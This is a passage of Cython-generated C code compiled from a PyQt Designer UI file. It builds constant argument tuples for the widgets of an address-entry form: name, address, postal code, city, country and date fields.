__PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__77); __Pyx_GIVEREF(__pyx_tuple__77); /* "Ui_MainWindow.py":125 * self.formLayout.setContentsMargins(0, 0, 0, 0) * self.formLayout.setVerticalSpacing(2) * self.formLayout.setObjectName("formLayout") # <<<<<<<<<<<<<< * self.label = QtWidgets.QLabel(self.formLayoutWidget) * self.label.setObjectName("label") */ __pyx_tuple__78 = PyTuple_Pack(1, __pyx_n_u_formLayout); if (unlikely(!__pyx_tuple__78)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__78); __Pyx_GIVEREF(__pyx_tuple__78); /* "Ui_MainWindow.py":127 * self.formLayout.setObjectName("formLayout") * self.label = QtWidgets.QLabel(self.formLayoutWidget) * self.label.setObjectName("label") # <<<<<<<<<<<<<< * self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label) * self.R_lastname = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_tuple__79 = PyTuple_Pack(1, __pyx_n_u_label); if (unlikely(!__pyx_tuple__79)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__79); __Pyx_GIVEREF(__pyx_tuple__79); /* "Ui_MainWindow.py":130 * self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label) * self.R_lastname = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_lastname.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.R_lastname.setText("") * self.R_lastname.setObjectName("R_lastname") */ __pyx_tuple__80 = PyTuple_Pack(2, __pyx_int_420, __pyx_int_0); if (unlikely(!__pyx_tuple__80)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__80); __Pyx_GIVEREF(__pyx_tuple__80); /* "Ui_MainWindow.py":131 * self.R_lastname = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_lastname.setMinimumSize(QtCore.QSize(420, 0)) * self.R_lastname.setText("") # <<<<<<<<<<<<<< * self.R_lastname.setObjectName("R_lastname") * self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.R_lastname) */ __pyx_tuple__81 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__81)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__81); __Pyx_GIVEREF(__pyx_tuple__81); /* "Ui_MainWindow.py":132 * self.R_lastname.setMinimumSize(QtCore.QSize(420, 0)) * self.R_lastname.setText("") * self.R_lastname.setObjectName("R_lastname") # <<<<<<<<<<<<<< * self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.R_lastname) * self.label_6 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__82 = PyTuple_Pack(1, __pyx_n_u_R_lastname); if (unlikely(!__pyx_tuple__82)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__82); __Pyx_GIVEREF(__pyx_tuple__82); /* "Ui_MainWindow.py":135 * self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.R_lastname) * self.label_6 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_6.setObjectName("label_6") # <<<<<<<<<<<<<< * self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_6) * self.R_firstname = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_tuple__83 = PyTuple_Pack(1, __pyx_n_u_label_6); if (unlikely(!__pyx_tuple__83)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__83); __Pyx_GIVEREF(__pyx_tuple__83); /* "Ui_MainWindow.py":138 * self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_6) * self.R_firstname = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_firstname.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.R_firstname.setText("") * self.R_firstname.setObjectName("R_firstname") */ __pyx_tuple__84 = PyTuple_Pack(2, __pyx_int_420, __pyx_int_0); if (unlikely(!__pyx_tuple__84)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__84); __Pyx_GIVEREF(__pyx_tuple__84); /* "Ui_MainWindow.py":139 * self.R_firstname = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_firstname.setMinimumSize(QtCore.QSize(420, 0)) * self.R_firstname.setText("") # <<<<<<<<<<<<<< * self.R_firstname.setObjectName("R_firstname") * self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.R_firstname) */ __pyx_tuple__85 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__85)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__85); __Pyx_GIVEREF(__pyx_tuple__85); /* "Ui_MainWindow.py":140 * self.R_firstname.setMinimumSize(QtCore.QSize(420, 0)) * self.R_firstname.setText("") * self.R_firstname.setObjectName("R_firstname") # <<<<<<<<<<<<<< * self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.R_firstname) * self.label_13 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__86 = PyTuple_Pack(1, __pyx_n_u_R_firstname); if (unlikely(!__pyx_tuple__86)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__86); __Pyx_GIVEREF(__pyx_tuple__86); /* "Ui_MainWindow.py":143 * self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.R_firstname) * self.label_13 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_13.setObjectName("label_13") # <<<<<<<<<<<<<< * self.formLayout.setWidget(2, QtWidgets.QFormLayout.LabelRole, self.label_13) * self.R_address = QtWidgets.QTextEdit(self.formLayoutWidget) */ __pyx_tuple__87 = PyTuple_Pack(1, __pyx_n_u_label_13); if (unlikely(!__pyx_tuple__87)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__87); __Pyx_GIVEREF(__pyx_tuple__87); /* "Ui_MainWindow.py":147 * self.R_address = QtWidgets.QTextEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_address.sizePolicy().hasHeightForWidth()) */ __pyx_tuple__88 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__88)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__88); __Pyx_GIVEREF(__pyx_tuple__88); /* "Ui_MainWindow.py":148 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.R_address.sizePolicy().hasHeightForWidth()) * self.R_address.setSizePolicy(sizePolicy) */ __pyx_tuple__89 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__89)) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__89); __Pyx_GIVEREF(__pyx_tuple__89); /* "Ui_MainWindow.py":151 * sizePolicy.setHeightForWidth(self.R_address.sizePolicy().hasHeightForWidth()) * self.R_address.setSizePolicy(sizePolicy) * self.R_address.setMinimumSize(QtCore.QSize(420, 40)) # <<<<<<<<<<<<<< * self.R_address.setBaseSize(QtCore.QSize(420, 40)) * self.R_address.setToolTip("") */ __pyx_tuple__90 = PyTuple_Pack(2, __pyx_int_420, __pyx_int_40); if (unlikely(!__pyx_tuple__90)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__90); __Pyx_GIVEREF(__pyx_tuple__90); /* "Ui_MainWindow.py":152 * self.R_address.setSizePolicy(sizePolicy) * self.R_address.setMinimumSize(QtCore.QSize(420, 40)) * self.R_address.setBaseSize(QtCore.QSize(420, 40)) # <<<<<<<<<<<<<< * self.R_address.setToolTip("") * self.R_address.setStatusTip("") */ __pyx_tuple__91 = PyTuple_Pack(2, __pyx_int_420, __pyx_int_40); if (unlikely(!__pyx_tuple__91)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__91); __Pyx_GIVEREF(__pyx_tuple__91); /* "Ui_MainWindow.py":153 * self.R_address.setMinimumSize(QtCore.QSize(420, 40)) * self.R_address.setBaseSize(QtCore.QSize(420, 40)) * self.R_address.setToolTip("") # <<<<<<<<<<<<<< * self.R_address.setStatusTip("") * self.R_address.setAccessibleName("") */ __pyx_tuple__92 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__92)) __PYX_ERR(0, 153, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__92); __Pyx_GIVEREF(__pyx_tuple__92); /* "Ui_MainWindow.py":154 * self.R_address.setBaseSize(QtCore.QSize(420, 40)) * self.R_address.setToolTip("") * self.R_address.setStatusTip("") # <<<<<<<<<<<<<< * self.R_address.setAccessibleName("") * self.R_address.setAccessibleDescription("") */ __pyx_tuple__93 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__93)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__93); __Pyx_GIVEREF(__pyx_tuple__93); /* "Ui_MainWindow.py":155 * self.R_address.setToolTip("") * self.R_address.setStatusTip("") * self.R_address.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_address.setAccessibleDescription("") * self.R_address.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) */ __pyx_tuple__94 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__94)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__94); __Pyx_GIVEREF(__pyx_tuple__94); /* "Ui_MainWindow.py":156 * self.R_address.setStatusTip("") * self.R_address.setAccessibleName("") * self.R_address.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_address.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) * self.R_address.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) */ __pyx_tuple__95 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__95)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__95); __Pyx_GIVEREF(__pyx_tuple__95); /* "Ui_MainWindow.py":160 * self.R_address.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) * self.R_address.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_address.setDocumentTitle("") # <<<<<<<<<<<<<< * self.R_address.setHtml("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" * "<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n" */ __pyx_tuple__96 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__96)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__96); __Pyx_GIVEREF(__pyx_tuple__96); /* "Ui_MainWindow.py":161 * self.R_address.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_address.setDocumentTitle("") * self.R_address.setHtml("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" # <<<<<<<<<<<<<< * "<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n" * "p, li { white-space: pre-wrap; }\n" */ __pyx_tuple__97 = PyTuple_Pack(1, __pyx_kp_u_DOCTYPE_HTML_PUBLIC_W3C_DTD_HTM); if (unlikely(!__pyx_tuple__97)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__97); __Pyx_GIVEREF(__pyx_tuple__97); /* "Ui_MainWindow.py":166 * "</style></head><body style=\" font-family:\'DejaVu Sans\'; font-size:10pt; font-weight:400; font-style:normal;\">\n" * "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p></body></html>") * self.R_address.setAcceptRichText(False) # <<<<<<<<<<<<<< * self.R_address.setPlaceholderText("") * self.R_address.setProperty("inputMask", "") */ __pyx_tuple__98 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__98)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__98); __Pyx_GIVEREF(__pyx_tuple__98); /* "Ui_MainWindow.py":167 * "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p></body></html>") * self.R_address.setAcceptRichText(False) * self.R_address.setPlaceholderText("") # <<<<<<<<<<<<<< * self.R_address.setProperty("inputMask", "") * self.R_address.setProperty("text", "R_Address") */ __pyx_tuple__99 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__99)) __PYX_ERR(0, 167, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__99); __Pyx_GIVEREF(__pyx_tuple__99); /* "Ui_MainWindow.py":168 * self.R_address.setAcceptRichText(False) * self.R_address.setPlaceholderText("") * self.R_address.setProperty("inputMask", "") # <<<<<<<<<<<<<< * self.R_address.setProperty("text", "R_Address") * self.R_address.setObjectName("R_address") */ __pyx_tuple__100 = PyTuple_Pack(2, __pyx_n_u_inputMask, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__100)) __PYX_ERR(0, 168, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__100); __Pyx_GIVEREF(__pyx_tuple__100); /* "Ui_MainWindow.py":169 * self.R_address.setPlaceholderText("") * self.R_address.setProperty("inputMask", "") * self.R_address.setProperty("text", "R_Address") # <<<<<<<<<<<<<< * self.R_address.setObjectName("R_address") * self.formLayout.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.R_address) */ __pyx_tuple__101 = PyTuple_Pack(2, __pyx_n_u_text, __pyx_n_u_R_Address); if (unlikely(!__pyx_tuple__101)) __PYX_ERR(0, 169, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__101); __Pyx_GIVEREF(__pyx_tuple__101); /* "Ui_MainWindow.py":170 * self.R_address.setProperty("inputMask", "") * self.R_address.setProperty("text", "R_Address") * self.R_address.setObjectName("R_address") # <<<<<<<<<<<<<< * self.formLayout.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.R_address) * self.label_10 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__102 = PyTuple_Pack(1, __pyx_n_u_R_address); if (unlikely(!__pyx_tuple__102)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__102); __Pyx_GIVEREF(__pyx_tuple__102); /* "Ui_MainWindow.py":173 * self.formLayout.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.R_address) * self.label_10 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_10.setObjectName("label_10") # <<<<<<<<<<<<<< * self.formLayout.setWidget(4, QtWidgets.QFormLayout.LabelRole, self.label_10) * self.horizontalLayout_2 = QtWidgets.QHBoxLayout() */ __pyx_tuple__103 = PyTuple_Pack(1, __pyx_n_u_label_10); if (unlikely(!__pyx_tuple__103)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__103); __Pyx_GIVEREF(__pyx_tuple__103); /* "Ui_MainWindow.py":176 * self.formLayout.setWidget(4, QtWidgets.QFormLayout.LabelRole, self.label_10) * self.horizontalLayout_2 = QtWidgets.QHBoxLayout() * self.horizontalLayout_2.setContentsMargins(-1, 0, -1, 0) # <<<<<<<<<<<<<< * self.horizontalLayout_2.setSpacing(2) * self.horizontalLayout_2.setObjectName("horizontalLayout_2") */ __pyx_tuple__104 = PyTuple_Pack(4, __pyx_int_neg_1, __pyx_int_0, __pyx_int_neg_1, __pyx_int_0); if (unlikely(!__pyx_tuple__104)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__104); __Pyx_GIVEREF(__pyx_tuple__104); /* "Ui_MainWindow.py":177 * self.horizontalLayout_2 = QtWidgets.QHBoxLayout() * self.horizontalLayout_2.setContentsMargins(-1, 0, -1, 0) * self.horizontalLayout_2.setSpacing(2) # <<<<<<<<<<<<<< * self.horizontalLayout_2.setObjectName("horizontalLayout_2") * self.R_Npa = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_tuple__105 = PyTuple_Pack(1, __pyx_int_2); if (unlikely(!__pyx_tuple__105)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__105); __Pyx_GIVEREF(__pyx_tuple__105); /* "Ui_MainWindow.py":178 * self.horizontalLayout_2.setContentsMargins(-1, 0, -1, 0) * self.horizontalLayout_2.setSpacing(2) * self.horizontalLayout_2.setObjectName("horizontalLayout_2") # <<<<<<<<<<<<<< * self.R_Npa = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) */ __pyx_tuple__106 = PyTuple_Pack(1, __pyx_n_u_horizontalLayout_2); if (unlikely(!__pyx_tuple__106)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__106); __Pyx_GIVEREF(__pyx_tuple__106); /* "Ui_MainWindow.py":181 * self.R_Npa = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_Npa.sizePolicy().hasHeightForWidth()) */ __pyx_tuple__107 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__107)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__107); __Pyx_GIVEREF(__pyx_tuple__107); /* "Ui_MainWindow.py":182 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.R_Npa.sizePolicy().hasHeightForWidth()) * self.R_Npa.setSizePolicy(sizePolicy) */ __pyx_tuple__108 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__108)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__108); __Pyx_GIVEREF(__pyx_tuple__108); /* "Ui_MainWindow.py":185 * sizePolicy.setHeightForWidth(self.R_Npa.sizePolicy().hasHeightForWidth()) * self.R_Npa.setSizePolicy(sizePolicy) * self.R_Npa.setToolTip("") # <<<<<<<<<<<<<< * self.R_Npa.setStatusTip("") * self.R_Npa.setAccessibleName("") */ __pyx_tuple__109 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__109)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__109); __Pyx_GIVEREF(__pyx_tuple__109); /* "Ui_MainWindow.py":186 * self.R_Npa.setSizePolicy(sizePolicy) * self.R_Npa.setToolTip("") * self.R_Npa.setStatusTip("") # <<<<<<<<<<<<<< * self.R_Npa.setAccessibleName("") * self.R_Npa.setAccessibleDescription("") */ __pyx_tuple__110 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__110)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__110); __Pyx_GIVEREF(__pyx_tuple__110); /* "Ui_MainWindow.py":187 * self.R_Npa.setToolTip("") * self.R_Npa.setStatusTip("") * self.R_Npa.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_Npa.setAccessibleDescription("") * self.R_Npa.setInputMask("") */ __pyx_tuple__111 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__111)) __PYX_ERR(0, 187, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__111); __Pyx_GIVEREF(__pyx_tuple__111); /* "Ui_MainWindow.py":188 * self.R_Npa.setStatusTip("") * self.R_Npa.setAccessibleName("") * self.R_Npa.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_Npa.setInputMask("") * self.R_Npa.setText("") */ __pyx_tuple__112 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__112)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__112); __Pyx_GIVEREF(__pyx_tuple__112); /* "Ui_MainWindow.py":189 * self.R_Npa.setAccessibleName("") * self.R_Npa.setAccessibleDescription("") * self.R_Npa.setInputMask("") # <<<<<<<<<<<<<< * self.R_Npa.setText("") * self.R_Npa.setMaxLength(9) */ __pyx_tuple__113 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__113)) __PYX_ERR(0, 189, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__113); __Pyx_GIVEREF(__pyx_tuple__113); /* "Ui_MainWindow.py":190 * self.R_Npa.setAccessibleDescription("") * self.R_Npa.setInputMask("") * self.R_Npa.setText("") # <<<<<<<<<<<<<< * self.R_Npa.setMaxLength(9) * self.R_Npa.setObjectName("R_Npa") */ __pyx_tuple__114 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__114)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__114); __Pyx_GIVEREF(__pyx_tuple__114); /* "Ui_MainWindow.py":191 * self.R_Npa.setInputMask("") * self.R_Npa.setText("") * self.R_Npa.setMaxLength(9) # <<<<<<<<<<<<<< * self.R_Npa.setObjectName("R_Npa") * self.horizontalLayout_2.addWidget(self.R_Npa) */ __pyx_tuple__115 = PyTuple_Pack(1, __pyx_int_9); if (unlikely(!__pyx_tuple__115)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__115); __Pyx_GIVEREF(__pyx_tuple__115); /* "Ui_MainWindow.py":192 * self.R_Npa.setText("") * self.R_Npa.setMaxLength(9) * self.R_Npa.setObjectName("R_Npa") # <<<<<<<<<<<<<< * self.horizontalLayout_2.addWidget(self.R_Npa) * self.R_City = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_tuple__116 = PyTuple_Pack(1, __pyx_n_u_R_Npa); if (unlikely(!__pyx_tuple__116)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__116); __Pyx_GIVEREF(__pyx_tuple__116); /* "Ui_MainWindow.py":195 * self.horizontalLayout_2.addWidget(self.R_Npa) * self.R_City = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_City.setMinimumSize(QtCore.QSize(290, 0)) # <<<<<<<<<<<<<< * self.R_City.setText("") * self.R_City.setObjectName("R_City") */ __pyx_tuple__117 = PyTuple_Pack(2, __pyx_int_290, __pyx_int_0); if (unlikely(!__pyx_tuple__117)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__117); __Pyx_GIVEREF(__pyx_tuple__117); /* "Ui_MainWindow.py":196 * self.R_City = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_City.setMinimumSize(QtCore.QSize(290, 0)) * self.R_City.setText("") # <<<<<<<<<<<<<< * self.R_City.setObjectName("R_City") * self.horizontalLayout_2.addWidget(self.R_City) */ __pyx_tuple__118 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__118)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__118); __Pyx_GIVEREF(__pyx_tuple__118); /* "Ui_MainWindow.py":197 * self.R_City.setMinimumSize(QtCore.QSize(290, 0)) * self.R_City.setText("") * self.R_City.setObjectName("R_City") # <<<<<<<<<<<<<< * self.horizontalLayout_2.addWidget(self.R_City) * self.formLayout.setLayout(4, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_2) */ __pyx_tuple__119 = PyTuple_Pack(1, __pyx_n_u_R_City); if (unlikely(!__pyx_tuple__119)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__119); __Pyx_GIVEREF(__pyx_tuple__119); /* "Ui_MainWindow.py":201 * self.formLayout.setLayout(4, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_2) * self.label_14 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_14.setObjectName("label_14") # <<<<<<<<<<<<<< * self.formLayout.setWidget(9, QtWidgets.QFormLayout.LabelRole, self.label_14) * self.R_Pays = QtWidgets.QComboBox(self.formLayoutWidget) */ __pyx_tuple__120 = PyTuple_Pack(1, __pyx_n_u_label_14); if (unlikely(!__pyx_tuple__120)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__120); __Pyx_GIVEREF(__pyx_tuple__120); /* "Ui_MainWindow.py":204 * self.formLayout.setWidget(9, QtWidgets.QFormLayout.LabelRole, self.label_14) * self.R_Pays = QtWidgets.QComboBox(self.formLayoutWidget) * self.R_Pays.setObjectName("R_Pays") # <<<<<<<<<<<<<< * self.formLayout.setWidget(9, QtWidgets.QFormLayout.FieldRole, self.R_Pays) * self.label_12 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__121 = PyTuple_Pack(1, __pyx_n_u_R_Pays); if (unlikely(!__pyx_tuple__121)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__121); __Pyx_GIVEREF(__pyx_tuple__121); /* "Ui_MainWindow.py":207 * self.formLayout.setWidget(9, QtWidgets.QFormLayout.FieldRole, self.R_Pays) * self.label_12 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_12.setObjectName("label_12") # <<<<<<<<<<<<<< * self.formLayout.setWidget(12, QtWidgets.QFormLayout.LabelRole, self.label_12) * self.R_date = QtWidgets.QDateEdit(self.formLayoutWidget) */ __pyx_tuple__122 = PyTuple_Pack(1, __pyx_n_u_label_12); if (unlikely(!__pyx_tuple__122)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__122); __Pyx_GIVEREF(__pyx_tuple__122); /* "Ui_MainWindow.py":211 * self.R_date = QtWidgets.QDateEdit(self.formLayoutWidget) * self.R_date.setInputMethodHints(QtCore.Qt.ImhDate|QtCore.Qt.ImhPreferNumbers) * self.R_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) # <<<<<<<<<<<<<< * self.R_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.R_date.setCalendarPopup(True) */ __pyx_tuple__123 = PyTuple_Pack(3, __pyx_int_7918, __pyx_int_1, __pyx_int_1); if (unlikely(!__pyx_tuple__123)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__123); __Pyx_GIVEREF(__pyx_tuple__123); __pyx_tuple__124 = PyTuple_Pack(3, __pyx_int_23, __pyx_int_59, __pyx_int_59); if (unlikely(!__pyx_tuple__124)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__124); __Pyx_GIVEREF(__pyx_tuple__124); /* "Ui_MainWindow.py":212 * self.R_date.setInputMethodHints(QtCore.Qt.ImhDate|QtCore.Qt.ImhPreferNumbers) * self.R_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.R_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) # <<<<<<<<<<<<<< * self.R_date.setCalendarPopup(True) * self.R_date.setObjectName("R_date") */ __pyx_tuple__125 = PyTuple_Pack(3, __pyx_int_7918, __pyx_int_1, __pyx_int_1); if (unlikely(!__pyx_tuple__125)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__125); __Pyx_GIVEREF(__pyx_tuple__125); /* "Ui_MainWindow.py":213 * self.R_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.R_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.R_date.setCalendarPopup(True) # <<<<<<<<<<<<<< * self.R_date.setObjectName("R_date") * self.formLayout.setWidget(12, QtWidgets.QFormLayout.FieldRole, self.R_date) */ __pyx_tuple__126 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__126)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__126); __Pyx_GIVEREF(__pyx_tuple__126); /* "Ui_MainWindow.py":214 * self.R_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.R_date.setCalendarPopup(True) * self.R_date.setObjectName("R_date") # <<<<<<<<<<<<<< * self.formLayout.setWidget(12, QtWidgets.QFormLayout.FieldRole, self.R_date) * self.label_15 = 